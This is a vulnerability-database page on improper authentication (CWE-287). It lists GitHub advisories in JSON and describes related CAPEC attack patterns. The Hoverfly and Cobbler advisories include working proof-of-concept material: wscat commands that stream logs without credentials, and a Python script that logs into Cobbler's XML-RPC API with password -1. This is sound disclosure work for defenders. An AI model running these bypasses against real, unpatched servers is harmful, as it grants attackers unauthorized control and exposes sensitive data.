CWE-287
DiscouragedImproper Authentication
Abstraction: Class · Status: Draft
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
5964 vulnerabilities reference this CWE, most recent first.
GHSA-JXH6-WCR3-PF67
Vulnerability from github – Published: 2022-05-13 01:28 – Updated: 2022-05-13 01:28The Embedthis HTTP library, and Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in http/httpLib.c. With a forged HTTP request, it is possible to bypass authentication for the form and digest login types.
{
"affected": [],
"aliases": [
"CVE-2018-8715"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-03-15T01:29:00Z",
"severity": "HIGH"
},
"details": "The Embedthis HTTP library, and Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in http/httpLib.c. With a forged HTTP request, it is possible to bypass authentication for the form and digest login types.",
"id": "GHSA-jxh6-wcr3-pf67",
"modified": "2022-05-13T01:28:21Z",
"published": "2022-05-13T01:28:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-8715"
},
{
"type": "WEB",
"url": "https://github.com/embedthis/appweb/issues/610"
},
{
"type": "WEB",
"url": "https://blogs.securiteam.com/index.php/archives/3676"
},
{
"type": "WEB",
"url": "https://security.paloaltonetworks.com/CVE-2018-8715"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JXMR-2H4Q-RHXP
Vulnerability from github – Published: 2025-09-10 20:43 – Updated: 2025-09-24 21:14Summary
Hoverfly’s admin WebSocket endpoint /api/v2/ws/logs is not protected by the same authentication middleware that guards the REST admin API. Consequently, an unauthenticated remote attacker can:
- Stream real-time application logs (information disclosure).
- Gain insight into internal file paths, request/response bodies, and other potentially sensitive data emitted in logs.
PoC
- Start Hoverfly with authentication enabled:
./hoverfly -auth
- Confirm REST API requires credentials:
curl -i http://localhost:8888/api/v2/hoverfly/version
- Connect to the WebSocket endpoint without credentials:
wscat -c ws://localhost:8888/api/v2/ws/logs
# Connected (press CTRL+C to quit)
# … logs stream immediately … (You would need to send a message to start receiving stream)
wscat -c ws://localhost:8888/api/v2/ws/logs
Connected (press CTRL+C to quit)
> hi!
< {"logs":[{"level":"info","msg":"Log level set to verbose","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"Using memory backend","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"User added successfully","time":"2025-07-20T17:07:00+05:30","username":""},{"level":"info","msg":"Enabling proxy authentication","time":"2025-07-20T17:07:00+05:30"},{"Destination":".","Mode":"simulate","ProxyPort":"8500","level":"info","msg":"Proxy prepared...","time":"2025-07-20T17:07:00+05:30"},{"destination":".","level":"info","mode":"simulate","msg":"current proxy configuration","port":"8500","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"serving proxy","time":"2025-07-20T17:07:00+05:30"},{"AdminPort":"8888","level":"info","msg":"Admin interface is starting...","time":"2025-07-20T17:07:00+05:30"},{"level":"debug","message":"hi!","msg":"Got message...","time":"2025-07-20T17:09:04+05:30"}]}
< ...
< ...
Impact
Authentication bypass; an attacker receives full application logs, including proxied request/response bodies, tokens, file paths, etc.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/SpectoLabs/hoverfly"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.12.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-54376"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-10T20:43:49Z",
"nvd_published_at": "2025-09-10T20:15:35Z",
"severity": "HIGH"
},
"details": "### Summary\nHoverfly\u2019s admin WebSocket endpoint /api/v2/ws/logs is not protected by the same authentication middleware that guards the REST admin API.\nConsequently, an unauthenticated remote attacker can:\n\n- Stream real-time application logs (information disclosure).\n- Gain insight into internal file paths, request/response bodies, and other potentially sensitive data emitted in logs.\n\n### PoC\n1. Start Hoverfly with authentication enabled:\n\n```\n./hoverfly -auth\n```\n\n2. Confirm REST API requires credentials:\n\n```\ncurl -i http://localhost:8888/api/v2/hoverfly/version\n```\n\n3. Connect to the WebSocket endpoint without credentials:\n\n\n```\nwscat -c ws://localhost:8888/api/v2/ws/logs\n# Connected (press CTRL+C to quit)\n# \u2026 logs stream immediately \u2026 (You would need to send a message to start receiving stream)\n```\n\n```\nwscat -c ws://localhost:8888/api/v2/ws/logs\nConnected (press CTRL+C to quit)\n\u003e hi!\n\u003c {\"logs\":[{\"level\":\"info\",\"msg\":\"Log level set to verbose\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"level\":\"info\",\"msg\":\"Using memory backend\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"level\":\"info\",\"msg\":\"User added successfully\",\"time\":\"2025-07-20T17:07:00+05:30\",\"username\":\"\"},{\"level\":\"info\",\"msg\":\"Enabling proxy authentication\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"Destination\":\".\",\"Mode\":\"simulate\",\"ProxyPort\":\"8500\",\"level\":\"info\",\"msg\":\"Proxy prepared...\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"destination\":\".\",\"level\":\"info\",\"mode\":\"simulate\",\"msg\":\"current proxy configuration\",\"port\":\"8500\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"level\":\"info\",\"msg\":\"serving proxy\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"AdminPort\":\"8888\",\"level\":\"info\",\"msg\":\"Admin interface is starting...\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"level\":\"debug\",\"message\":\"hi!\",\"msg\":\"Got message...\",\"time\":\"2025-07-20T17:09:04+05:30\"}]}\n\u003c ...\n\u003c ...\n```\n\n### Impact\nAuthentication bypass; an attacker receives full application logs, including proxied request/response bodies, tokens, file paths, etc.",
"id": "GHSA-jxmr-2h4q-rhxp",
"modified": "2025-09-24T21:14:07Z",
"published": "2025-09-10T20:43:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-jxmr-2h4q-rhxp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54376"
},
{
"type": "WEB",
"url": "https://github.com/SpectoLabs/hoverfly/commit/ffc2cc34563de67fe1a04f7ba5d78fa2d4564424"
},
{
"type": "PACKAGE",
"url": "https://github.com/SpectoLabs/hoverfly"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-3945"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "WebSocket endpoint `/api/v2/ws/logs` reachable without authentication even when --auth is enabled"
}
GHSA-JXPH-JJ63-5VCV
Vulnerability from github – Published: 2022-05-24 19:20 – Updated: 2022-05-24 19:20A vulnerability was reported in some Lenovo Desktop models that could allow unauthorized access to the boot menu, when the "BIOS Password At Boot Device List" BIOS setting is Yes.
{
"affected": [],
"aliases": [
"CVE-2021-3519"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-11-12T22:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability was reported in some Lenovo Desktop models that could allow unauthorized access to the boot menu, when the \"BIOS Password At Boot Device List\" BIOS setting is Yes.",
"id": "GHSA-jxph-jj63-5vcv",
"modified": "2022-05-24T19:20:30Z",
"published": "2022-05-24T19:20:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3519"
},
{
"type": "WEB",
"url": "https://support.lenovo.com/us/en/product_security/LEN-67440"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-JXXH-484W-MPXQ
Vulnerability from github – Published: 2022-05-01 18:46 – Updated: 2022-05-01 18:46Dataprobe iBootBar (with 2007-09-20 and possibly later beta firmware) allows remote attackers to bypass authentication, and conduct power-cycle attacks on connected devices, via a DCCOOKIE cookie.
{
"affected": [],
"aliases": [
"CVE-2007-6760"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-04-07T21:59:00Z",
"severity": "CRITICAL"
},
"details": "Dataprobe iBootBar (with 2007-09-20 and possibly later beta firmware) allows remote attackers to bypass authentication, and conduct power-cycle attacks on connected devices, via a DCCOOKIE cookie.",
"id": "GHSA-jxxh-484w-mpxq",
"modified": "2022-05-01T18:46:12Z",
"published": "2022-05-01T18:46:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-6760"
},
{
"type": "WEB",
"url": "http://blog.tmcnet.com/blog/tom-keating/computer-hardware/dataprobe-ibootbar-review.asp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M23M-2R4P-GF56
Vulnerability from github – Published: 2022-05-24 19:15 – Updated: 2022-07-13 00:01ManageEngine ADManager Plus before 7111 has Pre-authentication RCE vulnerabilities.
{
"affected": [],
"aliases": [
"CVE-2021-37741"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-21T13:15:00Z",
"severity": "HIGH"
},
"details": "ManageEngine ADManager Plus before 7111 has Pre-authentication RCE vulnerabilities.",
"id": "GHSA-m23m-2r4p-gf56",
"modified": "2022-07-13T00:01:34Z",
"published": "2022-05-24T19:15:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37741"
},
{
"type": "WEB",
"url": "https://www.manageengine.com"
},
{
"type": "WEB",
"url": "https://www.manageengine.com/products/ad-manager/release-notes.html#7111"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M25F-59QV-4727
Vulnerability from github – Published: 2022-05-17 00:36 – Updated: 2022-05-17 00:36Maian Greetings 2.1 allows remote attackers to bypass authentication and gain administrative privileges by setting the mecard_admin_cookie cookie to admin.
{
"affected": [],
"aliases": [
"CVE-2008-7086"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-08-26T14:24:00Z",
"severity": "HIGH"
},
"details": "Maian Greetings 2.1 allows remote attackers to bypass authentication and gain administrative privileges by setting the mecard_admin_cookie cookie to admin.",
"id": "GHSA-m25f-59qv-4727",
"modified": "2022-05-17T00:36:33Z",
"published": "2022-05-17T00:36:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-7086"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/43744"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/6050"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/30199"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-M263-HMCQ-R976
Vulnerability from github – Published: 2022-05-13 01:04 – Updated: 2022-05-13 01:04A vulnerability exists in Schneider Electric's Pelco Sarix Professional in all firmware versions prior to 3.29.67 which could allow an unauthenticated, remote attacker to bypass authentication and get the administrator privileges.
{
"affected": [],
"aliases": [
"CVE-2018-7228"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-03-09T23:29:00Z",
"severity": "CRITICAL"
},
"details": "A vulnerability exists in Schneider Electric\u0027s Pelco Sarix Professional in all firmware versions prior to 3.29.67 which could allow an unauthenticated, remote attacker to bypass authentication and get the administrator privileges.",
"id": "GHSA-m263-hmcq-r976",
"modified": "2022-05-13T01:04:05Z",
"published": "2022-05-13T01:04:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7228"
},
{
"type": "WEB",
"url": "https://www.schneider-electric.com/en/download/document/SEVD-2018-058-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M26C-FCGH-CP6H
Vulnerability from github – Published: 2024-11-18 20:00 – Updated: 2024-11-18 20:00Summary
utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.
Details
utils.py get_shared_secret:
def get_shared_secret() -> Union[str, int]:
"""
The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange
between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.
For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.
:return: The Cobbler secret which enables full access to Cobbler.
"""
try:
with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd:
data = fd.read()
except:
return -1
return str(data).strip()
Always returns -1 because of the following exception:
binary mode doesn't take an encoding argument
This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.
PoC
#!/usr/bin/python3
import ssl
import xmlrpc.client
params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }
ssl_context = ssl._create_unverified_context()
url = '{proto}://{host}:{port}/cobbler_api'.format(**params)
if ssl_context:
conn = xmlrpc.client.ServerProxy(url, context=ssl_context)
else:
conn = xmlrpc.client.Server(url)
try:
token = conn.login(params['username'], params['password'])
except xmlrpc.client.Fault as e:
print("Failed to log in to Cobbler '{url}' as '{username}'. {error}".format(url=url, error=e, **params))
except Exception as e:
print("Connection to '{url}' failed. {error}".format(url=url, error=e, **params))
print("Login success!")
system_id = conn.new_system(token)
Impact
This gives anyone with network access to a cobbler server full control of the server.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "cobbler"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.0"
},
{
"fixed": "3.3.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "cobbler"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.2.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-47533"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-18T20:00:56Z",
"nvd_published_at": "2024-11-18T17:15:11Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nutils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user \u0027\u0027 password -1 and make any changes.\n\n### Details\nutils.py get_shared_secret:\n```\ndef get_shared_secret() -\u003e Union[str, int]:\n \"\"\"\n The \u0027web.ss\u0027 file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange\n between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.\n For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.\n\n :return: The Cobbler secret which enables full access to Cobbler.\n \"\"\"\n\n try:\n with open(\"/var/lib/cobbler/web.ss\", \u0027rb\u0027, encoding=\u0027utf-8\u0027) as fd:\n data = fd.read()\n except:\n return -1\n return str(data).strip()\n```\nAlways returns `-1` because of the following exception:\n```\nbinary mode doesn\u0027t take an encoding argument\n```\n\nThis appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.\n\n### PoC\n```\n#!/usr/bin/python3\n\nimport ssl\nimport xmlrpc.client\n\nparams = { \u0027proto\u0027: \u0027https\u0027, \u0027host\u0027: \u0027COBBLER_SERVER\u0027, \u0027port\u0027: \u0027443\u0027, \u0027username\u0027: \u0027\u0027, \u0027password\u0027: -1 }\nssl_context = ssl._create_unverified_context()\n\nurl = \u0027{proto}://{host}:{port}/cobbler_api\u0027.format(**params)\nif ssl_context:\n conn = xmlrpc.client.ServerProxy(url, context=ssl_context)\nelse:\n conn = xmlrpc.client.Server(url)\n\ntry:\n token = conn.login(params[\u0027username\u0027], params[\u0027password\u0027])\nexcept xmlrpc.client.Fault as e:\n print(\"Failed to log in to Cobbler \u0027{url}\u0027 as \u0027{username}\u0027. {error}\".format(url=url, error=e, **params))\nexcept Exception as e:\n print(\"Connection to \u0027{url}\u0027 failed. {error}\".format(url=url, error=e, **params))\n\nprint(\"Login success!\")\n\nsystem_id = conn.new_system(token)\n```\n\n\n### Impact\nThis gives anyone with network access to a cobbler server full control of the server.\n",
"id": "GHSA-m26c-fcgh-cp6h",
"modified": "2024-11-18T20:00:56Z",
"published": "2024-11-18T20:00:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cobbler/cobbler/security/advisories/GHSA-m26c-fcgh-cp6h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47533"
},
{
"type": "WEB",
"url": "https://github.com/cobbler/cobbler/commit/32c5cada013dc8daa7320a8eda9932c2814742b0"
},
{
"type": "WEB",
"url": "https://github.com/cobbler/cobbler/commit/e19717623c10b29e7466ed4ab23515a94beb2dda"
},
{
"type": "PACKAGE",
"url": "https://github.com/cobbler/cobbler"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes"
}
GHSA-M295-R33Q-79RG
Vulnerability from github – Published: 2024-01-26 00:30 – Updated: 2024-10-18 18:30An authentication bypass vulnerability exists in the web component of the Motorola MR2600. An attacker can exploit this vulnerability to access protected URLs and retrieve sensitive information.
{
"affected": [],
"aliases": [
"CVE-2024-23629"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-26T00:15:11Z",
"severity": "CRITICAL"
},
"details": "An authentication bypass vulnerability exists in the web component of the Motorola MR2600. An attacker can exploit this vulnerability to access protected URLs and retrieve sensitive information.\n",
"id": "GHSA-m295-r33q-79rg",
"modified": "2024-10-18T18:30:36Z",
"published": "2024-01-26T00:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23629"
},
{
"type": "WEB",
"url": "https://blog.exodusintel.com/2024/01/25/motorola-mr2600-authentication-bypass-vulnerability"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M299-9MH6-7CV5
Vulnerability from github – Published: 2022-05-17 04:45 – Updated: 2025-07-02 21:31The Festo CECX-X-C1 Modular Master Controller with CoDeSys and CECX-X-M1 Modular Controller with CoDeSys and SoftMotion provide an undocumented access method involving the FTP protocol, which allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2014-0760"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-04-25T05:12:00Z",
"severity": "HIGH"
},
"details": "The Festo CECX-X-C1 Modular Master Controller with CoDeSys and CECX-X-M1 Modular Controller with CoDeSys and SoftMotion provide an undocumented access method involving the FTP protocol, which allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via unspecified vectors.",
"id": "GHSA-m299-9mh6-7cv5",
"modified": "2025-07-02T21:31:54Z",
"published": "2022-05-17T04:45:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-0760"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-14-084-01"
},
{
"type": "WEB",
"url": "http://ics-cert.us-cert.gov/advisories/ICSA-14-084-01"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Strategy: Libraries or Frameworks
Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
CAPEC-114: Authentication Abuse
An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.
CAPEC-115: Authentication Bypass
An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.
CAPEC-151: Identity Spoofing
Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.
CAPEC-194: Fake the Source of Data
An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-593: Session Hijacking
This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.
CAPEC-633: Token Impersonation
An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.
CAPEC-650: Upload a Web Shell to a Web Server
By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.
CAPEC-94: Adversary in the Middle (AiTM)
An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.